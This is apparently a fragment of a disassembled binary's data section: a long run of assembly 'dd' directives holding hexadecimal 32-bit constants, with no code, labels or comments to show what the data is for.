		dd 0B7AD7770h, 4CF65D4Eh, 880EB7B4h, 0A79E4F5h,	0E896DAE8h
		dd 57776ACh, 0EDB21D62h, 13560F91h, 158EB802h, 86DEF258h
		dd 95454B12h, 6BF9BE60h, 0C499E30h, 404275CDh, 1C32DE1Dh
		dd 7782422Fh, 772F567Ch, 7F124FB9h, 0F8309604h,	9711B2A9h
		dd 0DF4427E5h, 5E83EE92h, 310E0FEAh, 0C5C480E7h, 8EEFD4F6h
		dd 38A911DCh, 0E5FDA05Ah, 592CEEE4h, 0F8127A52h, 7D913EAh
		dd 0E5515A7Fh, 0A729ECF1h, 801CCAF6h, 0BD2CA8FAh, 4A40B5A2h
		dd 4CE81EFFh, 20041CF5h, 0E17FE958h, 0F4137886h, 943A97BAh
		dd 0E14F0FCDh, 732C7BF7h, 62A9012Ah, 2E59D342h,	5D1B9A87h
		dd 4EF49CC4h, 920975BAh, 0F5B9C1BCh, 20C58F7Ah,	0B44556ABh
		dd 0E3320C57h, 37FA7D66h, 0F51B4A6Bh, 68170DCEh, 1D612864h
		dd 0B90C6A17h, 577F1200h, 6EE94965h, 8C6E96A5h,	90D96DFh
		dd 685EF704h, 0B310B4h,	9B409C0Bh, 93EBE282h, 82D4B103h
		dd 6374E1CBh, 5EA50304h, 45C34137h, 4820E5B8h, 413D992Fh
		dd 0B63BFA6Fh, 704A79FAh, 0E6889005h, 0A2F5DB0Eh, 555A59EBh
		dd 30CC3A54h, 0A6B27D68h, 0B7FEBDF6h, 0CA6062FAh, 865D6064h
		dd 43490F23h, 1DA4F921h, 0B40A453h, 0EF52F682h,	0DB8B5CA6h
		dd 2C51E507h, 5AB20AEEh, 8EF17F27h, 6234F1CBh, 10290A68h
		dd 2F5AF7A0h, 67C03D22h, 0C698F45Fh, 3309C701h,	13E91160h
		dd 0C374D16Bh, 0EFFB6058h, 50F24A48h, 79B7E80Eh, 0BDFA5FCh
		dd 0F673A198h, 5DF67A6Eh, 0C81B1EEh, 4B6F285Bh,	68D402FEh
		dd 67D646DCh, 48EF75C1h, 0C5549C20h, 0F901586Ch, 17124845h
		dd 92ED0683h, 6F33B5D3h, 7A48A9CFh, 0C9D29D26h,	3F5E1791h
		dd 984E449Eh, 7D4AE960h, 0B9FAC993h, 333E8032h,	0F0D15139h
		dd 0DD656B25h, 5E191087h, 0FB6865ABh, 603EEFE1h, 3E26E94Bh
		dd 208DC69Dh, 812DE66Fh, 0A063F2EDh, 0C507F093h, 37B1275Dh
		dd 0D70583CAh, 0C5D1024h, 0F3A728ACh, 0F98F4773h, 84C52751h
		dd 106057E1h, 98344940h, 9F95C83Eh, 0A77832Dh, 194F7905h
		dd 5C84168Fh, 22F6E5C7h, 0A0A8B9E5h, 8A0E4083h,	0EC4C00FCh
		dd 4E89F7DAh, 2FA5E3E9h, 22CE4429h, 0F107E15Ch,	0A9F8BD1Eh
		dd 24406B3h, 1A15BA16h,	12C16C0Eh, 0C4646CA0h, 0D3E84383h
		dd 2C2E68C2h, 0B0B3C7D7h, 31DE687Eh, 0EE02659Bh, 777F0D5Bh
		dd 27D3D780h, 0F5A165D6h, 0D3123BC0h, 8A4A7E8Ah, 0B868092Fh
		dd 0CAC6F601h, 7A453BA9h, 0AC5AB42Bh, 68D1B246h, 5C3ABD09h
		dd 2B7A07E6h, 883F616h,	0DF252389h, 67FD81BAh, 9560CFFh
		dd 640B2D30h, 5778924Ch, 37011D8Fh, 901AB57Bh, 0F058D164h
		dd 0A6CC304h, 270BC28h,	866E65CAh, 2C49F538h, 0C9713182h
		dd 2D382E29h, 77D6B75Ch, 0D7F6E05Bh, 6DD99030h,	460D0632h
		dd 894AA372h, 0C7C445BDh, 0C5EDA958h, 16BF6AE9h, 0B182A801h
		dd 5FFA690Bh, 0A5EF5FDCh
		dd 4BFA4C20h, 0E6046663h, 29CF9213h, 75F70BFFh,	2A58C661h
		dd 6801A9BCh, 78185B51h, 8F2EB5Ah, 20EA8BA7h, 0D1079F0Bh
		dd 30AB31F7h, 637E03DBh, 1525EE00h, 0E946556Bh,	64746F9Dh
		dd 6F3F2741h, 3C44E81Bh, 0BBB8249Fh, 135AFDEEh,	69BB02C5h
		dd 31AF2B7Ch, 86BE1h, 9055D5Ah,	0BBB79DFh, 0B951E100h
		dd 9F2443A2h, 7D01B202h, 2909243Ah, 5D71D5FAh, 0E94B384Bh
		dd 13FABCFDh, 0DF45BC41h, 693FD70Bh, 2828CD5Ch,	6285B800h
		dd 0B9252335h, 1E90271Fh, 124172CEh, 166BCBFAh,	8AF39232h
		dd 2144BD00h, 78DD0503h, 2D53F11Ch, 29FD84BBh, 0C1FAE8C1h
		dd 2697BFF3h, 0D2C1B82h, 5D42D62h, 80D0E3A9h, 0F031C205h
		dd 0E600816Ah, 0E9187E35h, 0E8604FA9h, 0AAF7C60Fh, 5DB03C10h
		dd 712C0C00h, 3402E8C0h, 4E243272h, 752D3F88h, 0C05B5AA1h
		dd 0F9E330EFh, 2561040h, 0C8214068h, 88FD5E19h,	49425360h
		dd 0B458FBB5h, 4C10042Eh, 0C601010Dh, 0C87FBD55h, 0B9731F2h
		dd 7AA005A8h, 1ED66698h, 149986Fh, 0A9ECE9D3h, 79AF2FFFh
		dd 0CE617A42h, 0AF2B7B4Dh, 57642B44h, 96308EF3h, 0F08659DDh
		dd 8D6F635h, 0B09660F2h, 2D4EE998h, 42BF3500h, 0F4083E7Fh
		dd 2A029E7Eh, 19E0A530h, 223650h, 4A646858h, 0CA11304Bh
		dd 0F7E42826h, 0E3C1D312h, 56733E05h, 0E9FB6CAEh, 0B6C96D2Ah
		dd 72EAEB03h, 1C012627h, 273DFEA2h, 0D24C13FDh,	57B8C938h
		dd 0B6D45D9h, 0A093FB3Eh, 2ADB3014h, 0EFEC2223h, 204D4409h
		dd 8103DA47h, 0AD7B5908h, 17E9C512h, 0AC3EAAA1h, 87CF9FD4h
		dd 0A0E21261h, 0A9673D16h, 7BAF8930h, 501C9708h, 6308540h
		dd 950A44DEh, 0AEE8F05Fh, 3EBF5700h, 0E92D4E77h, 6E92115Bh
		dd 0F66A55C7h, 765D79C2h, 50255CCBh, 0B5D3057h,	345D82E0h
		dd 0FEDC845Ah, 90FC4802h, 27B3DB16h, 0AC68F027h, 0D226F757h
		dd 5C0F9D4Ah, 0C096C6Ah, 0D9663C0Eh, 0B7E2E59h,	0A5F5BCBAh
		dd 0E99CB67Eh, 0F763A67Bh, 0EA9690C9h, 0C9778205h, 9575D388h
		dd 8799E07Eh, 0FB0F3F60h, 1FA46850h, 52376552h,	0B0824CBh
		dd 415DEFE5h, 0FC7B59DCh, 0B1F09B93h, 9CB4D787h, 6284AA08h
		dd 9E1B60AAh, 4D5B1672h, 0E2016585h, 0C42129Dh,	4E6B06Ah
		dd 0A6A86F4Ah, 8121C3F1h, 1DB3536Ah, 0C0FDEB80h, 0A2EEF345h
		dd 58C3139Ch, 0C67E901h, 0EE0059C4h, 7A76DC16h,	7778C97Dh
		dd 0D9877203h, 9FFC383h, 2621E90Ah, 0EA8FB0FFh,	0FFDB9574h
		dd 51E8153Dh, 0C83016F4h, 0FB4B78B7h, 447AD639h, 1421B6F7h
		dd 9C387773h, 2AAA4E0Ch, 4AFE5C1Dh, 51F45EEEh, 491E4CC2h
		dd 0CC800EA2h, 0F1F460FCh, 0FC58E128h, 56748BDh, 23914BD7h
		dd 27CA88A8h, 0CB805A96h, 68143AF7h, 308D4D5Ah,	0E1BE301Bh
		dd 35F3246Ch, 3324190Ah, 545CDDE0h, 1840EF86h, 295A5BDDh
		dd 98595BCDh, 5E419A5Bh, 5C65E530h, 0FB97FE91h,	7F5BD3C3h
		dd 4F3D3031h, 41A0EA1Fh, 0D405A625h, 47034382h,	0E5E31E49h
		dd 308CA700h, 27E92189h, 0DF6545A2h, 7A88A9A5h,	95577FDBh
		dd 5212235Bh, 7BA096D4h, 0DE0E4148h, 75F28640h,	0BD40CABEh
		dd 0A7C3FB2h, 0B6F5810Fh, 0CFEE1D06h, 1AE0B13h,	0A8DAE9C3h
		dd 7C5D3624h, 1979802Dh, 904CAF1Eh, 52A05AE1h, 1F87AE9Ah
		dd 8CFFA3B4h, 0CA9D3130h, 538FDF10h, 44111F32h,	0B8E4CF74h
		dd 0F789167Bh, 5CD75422h, 3ED52D9Dh, 7E649D4Ch,	0EBF8C604h
		dd 0ACAF292Dh, 6257A210h, 6F0F5A6h, 0A702DF9Dh,	43625A5Fh
		dd 2BD51AABh, 24E35D99h, 47080C04h, 0FDBF7B57h,	1F53176Dh
		dd 5192B297h, 0E58D6A0h, 774B435Dh, 0C29C20F7h,	0BE7F8D8Ah
		dd 70032885h, 68F49F4Fh, 0C06E8AE3h, 9DD8F70Dh,	7A0C9DCCh
		dd 5242D027h, 2B0C25E9h, 0C10C9172h, 684E8075h,	30F9EB39h
		dd 0A7F5847Ah, 14BD5216h, 0D2C812D6h, 0F02938F6h, 36BD0EBCh
		dd 0F1CAEB12h, 75B2EF00h, 68E90254h, 0D32DF296h, 0EED262CBh
		dd 251B14F5h, 467733AFh, 22517BC2h, 0F695626Bh,	0FBCD89BDh
		dd 530B357Ah, 0FD48C057h, 78147449h, 6B882413h,	0A74C440Ch
		dd 5D5697C7h, 7F2FEC20h, 2DB1C549h, 0AB56BBA4h,	2C4CD6E3h
		dd 0BBB9D113h, 0BB408CCBh, 0E32510F4h, 171D0108h, 0F1291CEEh
		dd 0B0AB5A44h, 9EBC31A6h, 2ACCC5AEh, 0FE71208h,	5ECD095Fh
		dd 27215B57h, 67894EFBh, 203A4602h, 293F04CFh, 54669AF5h
		dd 9CF6C10Fh, 573EA328h, 0DCC86D93h, 0C0B69B6Ch, 8414C381h
		dd 46213266h, 9E4BC6Eh,	532E0FE9h, 94F5AF9Dh, 0E7E927A0h
		dd 7EB614F8h, 4B3EE9D8h, 0BCE4D0AFh, 0A5BC319h,	0A339C2C0h
		dd 0BFBD4D02h, 395ECE67h, 0BBE92E81h, 8C266A9Fh, 77086346h
		dd 1A5B01E0h, 6852B160h, 0E31D4F7Bh, 0A2BB277Ch, 0CCA2A5B9h
		dd 0B50C402Bh, 2A684840h, 121D508Ah, 0E8B275B4h, 76E32580h
		dd 6DFCE92Fh, 58D5E9E7h, 68D953D0h, 0F9495DB5h,	0FB2C2284h
		dd 0E181D570h, 7D16130Fh, 7592C043h, 517D721Dh,	0AADFF2A2h
		dd 2939609Ah, 599EFFCAh, 4868DD4Bh, 279E9231h, 0F278EAF9h
		dd 5E96F120h, 9217EFBFh, 0AA17C5h, 0E95057E3h, 0F9BFCE61h
		dd 0E168ADA2h, 2EFD6A68h, 95E99460h, 212EC356h,	40105EF7h
		dd 0E85A7A3Bh, 1DFA5F2Ah, 8BFD6F89h, 0E71E7593h, 463AAA2Dh
		dd 0F2304F7Bh, 4AF8D1F9h, 8C6C4629h, 7AE5B38Dh,	44EE2CC8h
		dd 2FFCC6D6h, 92117F3Dh, 0CDDCCB88h, 67FDA887h,	0FE8982F4h
		dd 5D6712F7h, 0E9623ED4h, 2D0FDC0Bh, 8E202DE4h,	0F660B557h
		dd 707563B5h, 7C2A01BDh, 0FF20C704h, 4BD304F7h,	0EE340AE9h
		dd 41F69D2Ch, 13CE609Dh, 53A2926h, 1628BF0Dh, 0F8D2C662h
		dd 2FA786BDh, 6BB4EC93h, 0FFD40C15h, 0A1EB996Bh, 261951A8h
		dd 68333C73h, 2C3D1C9Ah, 707B4060h, 1A983578h, 62EA972Eh
		dd 1A7AFE40h, 0BD1FF696h, 26878D90h, 74A092Ch, 0C5B13300h
		dd 4EE4E942h, 6ACEB413h, 0A53DC6BEh, 2CF1E058h,	2DA2A467h
		dd 847A1804h, 37297EA0h, 8710DD1Eh, 1308FE2Dh, 0F689E040h
		dd 6866D604h, 57882A71h, 20B81FB7h, 0B6D62DFEh,	0B0BA5613h
		dd 0E9E6DA0Eh, 0CE306C1Bh, 73E0C47Ch, 0B8D76001h, 4F5D17F7h
		dd 119AC895h, 7D5D23Dh,	19F5C28Bh, 0DFA2A957h, 2C164AEDh
		dd 0E7096A53h, 0BE35DE62h, 0B4092725h, 211335DCh, 12C7A2ABh
		dd 47F2024Fh, 0CD3D7F84h, 1A59432Fh, 7FD3F927h,	809B24C1h
		dd 0DC281106h, 60B4505Bh, 854F8B2h, 0C4FE59CCh,	0BCE9A10Dh
		dd 0DDC14C8Fh, 9F66AEDCh, 5869E2E5h, 934597C3h,	259CA09h
		dd 0B3078F6h, 25A8BB5Dh, 0BCD2F1EEh, 46904078h,	0BA1FFE79h
		dd 1CC470CBh, 2380EAD1h, 7610331Eh, 41CA0525h, 0ED5B4752h
		dd 0D74B1EACh, 27707E25h, 0D0E10B77h, 57122010h, 76ECBE04h
		dd 0F4FB3585h, 30178C22h, 15F55BF6h, 0B40F228h,	16564EE9h
		dd 6DBC68h, 10F335D1h, 0F24AF781h, 0E9180908h, 59570E21h
		dd 5E54000Ah, 19F9BA52h, 0E96B8F06h, 0F522AC75h, 57FFE86Eh
		dd 9F9E10B0h, 3A0BF03h,	62024D39h, 3E557EB6h, 0DB25E031h
		dd 724082FBh, 0F813EAF2h, 3BB5E49h, 398F68D9h, 556F4D2Ch
		dd 0D834F6BDh, 0FDFABF43h, 7E680942h, 2F0B516Eh, 0B6B46DD1h
		dd 0EB4395EEh, 0DCACC333h, 8913A114h, 0AB9521h,	0C180FC1Fh
		dd 0CC5988D9h, 0F4C59E4Ch, 14BB3096h, 0B73B3DACh, 5A79D8A2h
		dd 64C0E45Fh, 0BDF6E788h, 7C64A0Ah, 65E9C4FEh, 269A4120h
		dd 822C9125h, 0CC385EF8h, 0B3D8DF31h, 122D5500h, 0E9DA091Ah
		dd 87AAA9C9h, 0FB88A03Bh
		dd 2480AE40h, 1E43D6C2h, 4C5F65FDh, 0E0A9553Dh,	40D2292Ah
		dd 0C06E511h, 5E321448h, 67E854D4h, 0BE49F10h, 324F7D68h
		dd 7FEC8BD4h, 5A7CFFB3h, 0F22A1D24h, 54BB4EB4h,	0B44B6DAEh
		dd 3159E9BAh, 0EFD113C9h, 0BF8222C5h, 0EBDA5CEAh, 7E015711h
		dd 1553452Ch, 6C38D2E9h, 9F3A2E78h, 35F253E2h, 0A1AEBA05h
		dd 88804446h, 8334E970h, 65FC20FDh, 2F312A07h, 5EF33261h
		dd 7705B6E8h, 39737913h, 7A410BFh, 0B15CE917h, 6C6A345Fh
		dd 654893FAh, 2F7904D0h, 46BF6EDDh, 913FA26Bh, 0F1D7F82Fh
		dd 0F5687803h, 362590BBh, 9FFE95EEh, 57190A62h,	0FE838EF6h
		dd 93C130C9h, 0EB084FC8h, 0AA772B04h, 16C0BD00h, 1B515B8h
		dd 0C511F16Ch, 6D51017Ah, 2179E04Ch, 0D117D846h, 0DA21410Ch
		dd 2EA8A5Bh, 0E94613F1h, 0E956E04Dh, 0EC06908Eh, 13D44C62h
		dd 80C7129h, 0D725FB9Fh, 567F36CEh, 910C494Bh, 4F549A50h
		dd 2EB2DDD8h, 10846AB3h, 9AE3AE17h, 4ACB5D50h, 2D9DEB87h
		dd 2F7FA06Ch, 7E195A72h, 4EBF2F5Fh, 0A857AA46h,	3FA4C40Ah
		dd 7E0BDDABh, 0F58BA117h, 0F6ACE93Ah, 59FDA02Eh, 0B75E9228h
		dd 7CA5E7Ah, 6748C010h,	381874Ah, 0F77BFEFCh, 4A93488Ch
		dd 0C6BBEDC0h, 47643E51h, 0FC55C7D0h, 1EC2BA63h, 4F3D7835h
		dd 0B1F054Bh, 0FBD634B5h, 253D712Eh, 0C06F9230h, 1205E2B9h
		dd 14E125Eh, 8118B2Ah, 50BA558Ch, 953AD2BEh, 0B30E2C40h
		dd 0E27EB80h, 0DEBABCC3h, 418D3EA0h, 0B643417Bh, 3EF3C1CAh
		dd 2BA70E17h, 80C5E917h, 26F1B874h, 25526200h, 538745EAh
		dd 7905E240h, 4C1E012Bh, 0F15EF62Dh, 49AE3AC0h,	0A2C55832h
		dd 3FDDC88h, 2D227B68h,	0EF37C1EDh, 3446FB6h, 0AA12CF19h
		dd 167E2CCDh, 2274AA8Fh, 0A2FBD452h, 541CB1FFh,	447532E2h
		dd 2019793h, 0E0F8295Dh, 41DF31D9h, 74538C92h, 2F7ED38Ah
		dd 4C1E3517h, 55346827h, 5D24AAE6h, 0F281F9C0h,	0C2B3539Ch
		dd 0D041CBD9h, 0D34392E3h, 2383850Dh, 38BBCC67h, 7CB52D9Dh
		dd 0F0010C97h, 659D3C56h, 92116ABh, 9EF65554h, 0E836AB02h
		dd 0EAF66Ah, 1E8325BDh,	32E4E98Dh, 0E408309Ah, 8279842Dh
		dd 6E86318Ah, 53C0C74h,	0ACC98D09h, 0D81252D4h,	72AAE384h
		dd 9915A85h, 777E7029h,	4D528A4Ah, 0D36F5EEAh, 0BF4BC084h
		dd 0DF1AEED5h, 0DF9E01FBh, 749762DAh, 4812FB60h, 3FF3C5D9h
		dd 0BA647416h, 0F7B71A62h, 702CA415h, 0E0987525h, 0F8B7F589h
		dd 45E5EDBh, 0AA4F29EEh, 352F26B2h, 0F13D3C52h,	72369363h
		dd 0C213FDFCh, 388EFFA9h, 7FA10825h, 62FEF9E3h,	934BDF34h
		dd 4365554Bh, 0B72498ADh, 0EFC017D6h, 0CA820B04h, 30C92507h
		dd 0CF28A0C7h, 2E4CD298h, 3BDB818Dh, 91EC2338h,	704CBD39h
		dd 81459E51h, 1E34BB58h, 81F563D6h, 502F4F3Ch, 0DAD8FD74h
		dd 32EA9226h, 5422652Dh, 2A55B869h, 302A29FEh, 7734FBBh
		dd 8822F92h, 0BBFE3157h, 74F6E0DFh, 470220E9h, 0ADD048EAh
		dd 1D3C0799h, 0CE613ACBh, 1CDD0FABh, 1662EEF0h,	0BF605840h
		dd 701A8204h, 0C0425B05h, 0FE05E0E0h, 20372E7Dh, 0C1D74CFDh
		dd 0E5AA07B5h, 0E22DCC20h, 0DAF49F09h, 4BAD8757h, 0BE6C19Ch
		dd 4D026521h, 726B9054h, 5C61FDDh, 8927F945h, 0E9C26A7Eh
		dd 139D5CE5h, 62EBA621h, 0D8E0E979h, 0CB5EBF87h, 0F6B2775Ah
		dd 53DCC77h, 0BF5FD268h, 0F7DC8041h, 0AC28111Bh, 0C412BD7Bh
		dd 0A8169F13h, 8BDDE11Dh, 0BA7DE25h, 336023E9h,	0CD5BC980h
		dd 3C73BCBCh, 12FF03E1h, 0B34F682Fh, 0FCB23BE7h, 143E0133h
		dd 0E0D88258h, 990A2B9Fh, 0CEB59876h, 5B813438h, 0C77EF4D9h
		dd 5C748BE1h, 0E76858E0h, 0CDD59E70h, 87283ADFh, 8F5A56D6h
		dd 1F5BF740h, 0D44D8E18h, 841C0C6h, 847F352Fh, 0B163BCD8h
		dd 616A7EE9h, 36EAB2F8h, 6ABD1120h, 3E684E62h, 0A1AB88AFh
		dd 0D8B05DF0h, 75325878h, 0F5281061h, 5AA98D60h, 0FCE4E7FCh
		dd 59D6F9FEh, 2C5312AFh, 0FC27E96Eh, 0F599BA33h, 1168F1C8h
		dd 4CB13253h, 40602E4Dh, 0F7A65C99h, 96880CB7h,	0C678B3A8h
		dd 6B52BFA1h, 8BEAE516h, 0DDE9093Ah, 9992FD1Ch,	7E3236C0h
		dd 0C34F6024h, 701CD01Dh, 0C7F3007Eh, 1A42604h,	685AC4DAh
		dd 9F69AC6Fh, 299EBAC1h, 0A87A8976h, 53E44F79h,	15872FE9h
		dd 51E02176h, 996A9C68h, 13ABA62Bh, 71C9E33Ah, 77445E1Fh
		dd 1A2BD34Ch, 0EEA1A15Fh, 564EB42Bh, 200A589Fh,	0D5929BE8h
		dd 1368590Bh, 2A9CD537h, 0C0299Dh, 913F0FABh, 565A0517h
		dd 0A9312968h, 290325F9h, 0C5E25DE3h, 5F9D6277h, 289B2118h
		dd 0FECB3080h, 1F1B68B3h, 0E4BF0191h, 216C8316h, 39F22BB9h
		dd 448EFAC9h, 697F2157h, 0A8A80516h, 0C7248005h, 5B96A8D1h
		dd 0AFB52CECh, 87EAB153h, 53E941EFh, 7845A53Eh,	0C2909D0h
		dd 0C070AFF1h, 121C215Ch, 0E8CF2541h, 1777680Eh, 1DCBFB17h
		dd 5FAAE64Eh, 71E9FBC8h, 0EA2BEFF8h, 1703B521h,	0F6670B0Ah
		dd 68DBE8FEh, 0CB0B4F62h, 4A18587Eh, 0D1E293BBh, 734911BAh
		dd 30A62180h, 53BF877Bh, 18FC2DCDh, 7670369h, 0DE9C9A53h
		dd 74B90012h, 0F70C1438h, 0BDCD158h, 2EBC78Fh, 0FA865413h
		dd 75160C25h, 850C3895h, 4477314h, 936302A4h, 0F789BF5Ch
		dd 0BD8150E5h, 8277A366h, 6F9C17Fh, 0F501DC9Ch,	8817AB0h
		dd 5776E2E9h, 93EE8000h, 0EFED6F6h, 4E6C0C6h, 0E907857Eh
		dd 0BFA9952Ah, 1779F8F0h, 541CB86Ah, 2305D1ECh,	0E8095B50h
		dd 0F6B051F1h, 8E685568h, 508C5A4Eh, 616C0E33h,	0AAA9E94Eh
		dd 0D30948FBh, 2DA76611h, 8A27CB7h, 1EDF583Fh, 8013FCFCh
		dd 6C120ABFh, 66041CE4h, 0CDEA585Fh, 0E95050D8h, 7D97B118h
		dd 0C85F1A32h, 1BCBAA9h, 0B93DA11Ah, 0F6882CCBh, 0F08E4E5Dh
		dd 90E916F9h, 0C721FE54h, 0A93EC507h, 860592F1h, 5DB20CEAh
		dd 9DF0C13Ch, 6C18437Eh, 4D2068B7h, 968EBF73h, 0A2662510h
		dd 9F513F0h, 0FEA8A9C9h, 0E492EE55h, 6C1ED4D3h,	75F4FB10h
		dd 10BF662h, 7965FE8h, 58989180h, 56E1000h, 54DF2316h
		dd 2DE82829h, 565D0407h, 0EA7B33BEh, 2510181Fh,	0C940481Dh
		dd 6D7402A5h, 53459BC2h, 0C1551395h, 50D9F22h, 0C1D149B0h
		dd 0CD4E997Eh, 5A0C8473h, 42C29F0Ah, 5A7658BAh,	1E3AD85Bh
		dd 0C45C8140h, 4E8A350h, 0B3EA5854h, 0B5A84BFh,	59CA3102h
		dd 7FC3BA77h, 6ABFD102h, 0A380A554h, 9776C7Fh, 475B30DFh
		dd 4E79E414h, 263444Dh,	1E3B43F3h, 0C5C3FF69h, 0E999EB9Bh
		dd 5B2F2CC4h, 0F7139C16h, 0CF120AA8h, 55E82078h, 51508C2Dh
		dd 590F4D25h, 4DE989B7h, 0D4D9F3E1h, 2D744BAFh,	1CC15527h
		dd 87B82E57h, 8B56DEA1h, 715C69C7h, 7EE68049h, 0FC686A94h
		dd 21EA7C0Bh, 830AF75Eh, 4F1A03E4h, 3A2C2978h, 73AD8896h
		dd 0C2E4EEBDh, 0E9709002h, 0D9C0FE85h, 6D1673EAh, 0BB49666h
		dd 0B77C9DFAh, 7256C62h, 13CE24Fh, 87D5F700h, 0BDEFFEEEh
		dd 0EF354F05h, 2F6851E0h, 14FC02DAh, 62BA50h, 0CD817DEEh
		dd 616056C9h, 9136998h,	77021189h, 0D05ECFC7h, 28CCECB3h
		dd 27A9BF0Ch, 5D76EF2Ch, 4E166858h, 0D08E314Eh,	5903EAh
		dd 3D185672h, 0D8F58172h, 545E407Bh, 0AA9770B8h, 0B6521A00h
		dd 4CC6805Eh, 7BA572h, 45AF030h, 42C1E991h, 5C2F9093h
		dd 7CF6AF67h, 77DC7752h, 496BDD51h, 0C065C58Ah,	5C0B4FA8h
		dd 85587F7Dh, 19A40CA4h, 81C027E9h, 2088B048h, 893F20B9h
		dd 8939ED11h, 8BA8893h
		dd 56CD6809h, 0D2BA897Fh, 7F6BCCF4h, 7A5BFDE1h,	803D4CE6h
		dd 0E2AA33E2h, 60089008h, 5AD013Fh, 0CAF72B2Ah,	859B7E55h
		dd 906ECAE9h, 28C3F63Ch, 13C3F34Ch, 12903D09h, 5F6B7BC8h
		dd 4A05FF74h, 34BF8D5Dh, 310F37Ah, 0D64E29B9h, 1928383Ch
		dd 77DDFB4Bh, 94618DF4h, 0E462B110h, 3EB6D1D3h,	413758F0h
		dd 112A889Bh, 0F389092Dh, 6B43BE49h, 0C707F3E9h, 0B460DB41h
		dd 0AB7ED570h, 384A01CAh, 6812599Ch, 2A8C2012h,	3C6909ECh
		dd 0DAD55176h, 0A45F5A84h, 0D4691490h, 95038179h, 0C26A8AB4h
		dd 49DC05D7h, 11CC96BEh, 0FE2E399Dh, 14F70244h,	0A6D11B0Ah
		dd 0B364019Fh, 65296054h, 26A1CCE3h, 0C7BD230h,	4C12F858h
		dd 0E91F9702h, 5D38B287h, 70A707Dh, 1EC6C30h, 6F172668h
		dd 0E4953D98h, 8A515BC7h, 7BB004D1h, 1FECC188h,	5E1C0A0h
		dd 0E9C9FE1Fh, 0F6BA002Dh, 2B050DDh, 58C53096h,	83DEE828h
		dd 211A088h, 7470F0B9h,	2BBCE0F7h, 35EA2F38h, 0AAAC0475h
		dd 0F8EB0694h, 0A4CFF12Dh, 69D6412Bh, 0EC587A6Ch, 59979578h
		dd 0F9C4CF1Fh, 0DC9CE55Eh, 0ECB6B3Dh, 22E18049h, 9048C913h
		dd 3F5EDE5Ah, 49A43E41h, 70D5E78Ch, 12030699h, 61EE2EB9h
		dd 2EF78DBBh, 9E9489F3h, 0F4901A84h, 84127DC9h,	0F61EFD33h
		dd 0F4FD4CE7h, 0D09FCC8Ch, 5361AD0Eh, 0AB44C339h, 5AE53FE1h
		dd 0C11CA82Ah, 89AEB8C2h, 0F235D0D2h, 57D702EEh, 0CE014E60h
		dd 76746C40h, 0BA28BF28h, 0A0E1630Fh, 3FD0C825h, 558ADC58h
		dd 5B2010D4h, 794865ACh, 0AB1ADA07h, 0B75E22Dh,	30659AFh
		dd 519F104Ah, 704ECCCCh, 37E8465Ah, 4ACA68E3h, 0DB643A54h
		dd 0DAAB9C94h, 0E1944A27h, 13528EEBh, 1EF25FF8h, 0B8C06652h
		dd 5ED46F9Fh, 3F8EE91Ah, 8722D7F5h, 5101ED31h, 0CB7C4668h
		dd 0BD8D12DEh, 0FB8009E8h, 0A186CCFEh, 77EAF5D3h, 65C5D1F6h
		dd 2CBF0494h, 0CA39FEB0h, 0D71E2580h, 40E85EC8h, 9530612Ch
		dd 97637E03h, 380C0042h, 53646527h, 0B39D62E9h,	0C05A4B48h
		dd 8D31C393h, 2815415Ch, 0ECDE07F3h, 0D2894F5Ah, 0EFC5221Eh
		dd 0CD38D1B5h, 0A0CA7E5Ch, 4E304610h, 3A4842F8h, 0C7B21707h
		dd 0AABEEAFh, 71658C5Eh, 0CE4830A8h, 0E91B3513h, 0C4FFD314h
		dd 8E74FE78h, 9E01DDFCh, 59134F45h, 0C3716153h,	0CC5F5FCAh
		dd 3D1AA9D3h, 5C502DEBh, 0CA0B046h, 0C5124EF1h,	42B44F41h
		dd 91365FE5h, 9710B008h, 8EFDEA95h, 0C26A4842h,	45C3476Eh
		dd 0B1E4FA43h, 8B3D17D9h, 4C83ED12h, 3FFF2EC6h,	108FD42Fh
		dd 70B04F20h, 0ECD8E0D2h, 0D504395Bh, 98DD7525h, 809E1814h
		dd 1F4BDE68h, 0C521A531h, 0A1B1E804h, 0B1059612h, 0C4B02F30h
		dd 700B9D97h, 7CAFF9DBh, 0C6B8786Eh, 3FD31902h,	0BE53EE9h
		dd 0DC25B85Eh, 0BF587A48h, 75D2D949h, 22EEA324h, 34C80939h
		dd 0C1F0D5B8h, 0E897232Fh, 0D25EF57Ch, 0B37C0106h, 0E6597361h
		dd 25C447DFh, 971747D1h, 0B8738CEBh, 0F547753Eh, 283F0502h
		dd 81352915h, 484FA8C1h, 111D3D8h, 1705499Eh, 31803293h
		dd 9DAAF87h, 0A09CD784h, 3CFF555Fh, 0E93E5C39h,	0E6315A0Eh
		dd 5003FDE6h, 7B1B2AF1h, 0B3161CF7h, 0D0140AE2h, 17FB24FAh
		dd 0D888E61Fh, 967CE96Bh, 8B792D1Dh, 8027F258h,	1F1EDC2Dh
		dd 0BF8918F7h, 0C606FEABh, 0EAFC278Dh, 313B429Ah, 9FBE93D7h
		dd 0F8687B42h, 2CF95B16h, 0C1BB1667h, 61E528B5h, 8CB23B65h
		dd 7B5166A1h, 5982195Dh, 0D405EDC0h, 60B25130h,	0EE73CAA3h
		dd 662DEA00h, 0E935B450h, 0CF819507h, 3C5BB168h, 0EF4D3E6h
		dd 0DC4AE9h, 5FCC68F1h,	3690607Dh, 4E2C920h, 2DE6D8B9h
		dd 2FF5F052h, 37A6E15Ah, 0C756267Ah, 42DEC251h,	6FB159DDh
		dd 1C596EC6h, 0FF054Eh,	0B5B951C7h, 315C4D2Fh, 59B006ECh
		dd 1F0C75E6h, 655D5BE3h, 0C81482D7h, 6F545F2Dh,	5FBA4E2h
		dd 5CCBBA21h, 40823505h, 1F830511h, 535B8C45h, 0E2BDBB5Bh
		dd 0FF5AED5Dh, 0B9AC9616h, 0F3325986h, 60BF954Ah, 1D3D5DFFh
		dd 0F15C1979h, 4E804E3Bh, 5C0520BBh, 91108A78h,	9A05B8Fh
		dd 404C981Ah, 480D40B9h, 431D8F7h, 4A087FFFh, 44C7E12Bh
		dd 0F7F7AE67h, 2114151Ch, 2258163Ch, 496AD1CDh,	0CC745B84h
		dd 3EA4D896h, 4B20438Ch, 4F9F8ABBh, 0D8E786E8h,	0B9B8D7D6h
		dd 0FD0589D9h, 270B65ABh, 0EA5ED04h, 6781F331h,	7EE461E7h
		dd 4BC52D68h, 6B596998h, 0DF1D0C27h, 0E9EF3502h, 27E6D675h
		dd 0CD82FFCCh, 0E9346E16h, 8DA8D452h, 68173C22h, 64614A0Bh
		dd 14E411F8h, 440D0140h, 357D6836h, 12C2DEB7h, 383C835Ch
